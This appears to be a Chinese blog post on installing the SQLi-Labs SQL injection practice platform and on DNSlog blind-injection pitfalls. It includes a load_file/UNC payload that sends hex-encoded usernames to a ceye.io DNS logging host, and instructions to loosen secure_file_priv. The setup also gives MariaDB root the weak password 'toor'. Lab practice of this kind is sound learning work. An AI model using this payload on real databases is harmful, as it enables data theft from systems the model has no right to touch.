SQLi-Labs是一个专业的SQL注入练习平台,对SQL注入有些生疏了,近期打算拿它再练练手。
原始github代码位置:
https://github.com/Audi-1/sqli-labs
一、安装问题
安装问题1:由于此版本不兼容php7,所以php无法正常运行,需要下载适配php7的,网上有php7版本的。
https://github.com/skyblueee/sqli-labs-php7
安装问题2:无法在浏览器中执行php文件,出现错误“Failed to connect
to root@localhost”。但以php -f XXX.php这种方式可以正常执行。
原因:我的mysql版本为10.1.29-MariaDB-6,root用户的密码为空,而我把sqli-labs中的db-creds.inc中$dbpass修改为了“toor”。
MariaDB[(none)]>SELECT user,authentication_string,plugin,host FROM mysql.user;
使用了unix_socket插件。
网上查了,需要修改root用户的密码,并将plugin修改为mysql_native_password
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'toor';
出现错误:MariaDB [(none)]> ALTER USER'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'toor';
ERROR 1064 (42000): You have an error in your SQLsyntax; check the manual that corresponds to your MariaDB server version forthe right syntax to use near 'USER 'root'@'localhost' IDENTIFIED WITHmysql_native_password BY 'toor'' at line 1
MariaDB
解决办法:ALTER USER声明是在MariaDB 10.2.0中引入的。
由于您的DB是10.1,因此您需要使用危险的旧方法重设密码:
updatemysql.user set authentication_string=password('toor'),plugin='mysql_native_password'where user='root';
FLUSHPRIVILEGES; //告诉服务器重新加载授权表并使新的更改生效
MariaDB[(none)]>SELECT user,authentication_string,plugin,host FROM mysql.user;
至此,可以在浏览器正常运行php了。
二、使用sqli-labs的坑
1. sql盲注,后端数据库用的mysql数据库,说一下用dnslog回显只能用于windows系统,原理就是'\\\\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。
Linux没有UNC路径,所以当处于Linux系统时,不能使用该方式获取数据SQL盲注、无回显的命令执行、无回显的SSRF只能用于windows系统。
2. 通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。
1)当secure_file_priv为空,就可以读取磁盘的目录。
2)当secure_file_priv为G:\,就可以读取G盘的文件。
3)当secure_file_priv为null,load_file就不能加载文件。
我当初的:直接在Linux上进行测试,之后在win10上测试的时候没有使用这个函数进行查看。
直接被自己蠢哭.... ...
通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。
3. 虚拟机需要设置为桥接模式,这样数据有来有回。在windows7 x64虚拟机上运行成功,安装的为phpstudy。
4. 避免一些特殊符号的产生,最好的选择就是数据先编码再带出。
需要注意的是dns服务器无法接收符号(除了英文字母以外的都为符号,只要字符串中包含了一个符号也必须用hex()编码),当查询的数据中存在符号时需要编码,这里用hex()编码。
select load_file(concat('\\\\',(select hex(username) from test limit 2,1),'.xxxx.ceye.io\\aaa'));
三、通关记录
个人觉得下面的博主写得非常详细,我就不赘述了。
https://blog.csdn.net/weixin_39934520/category_9792380.html
在做题过程中整理思路,做了脑图,分享给大家。
网友评论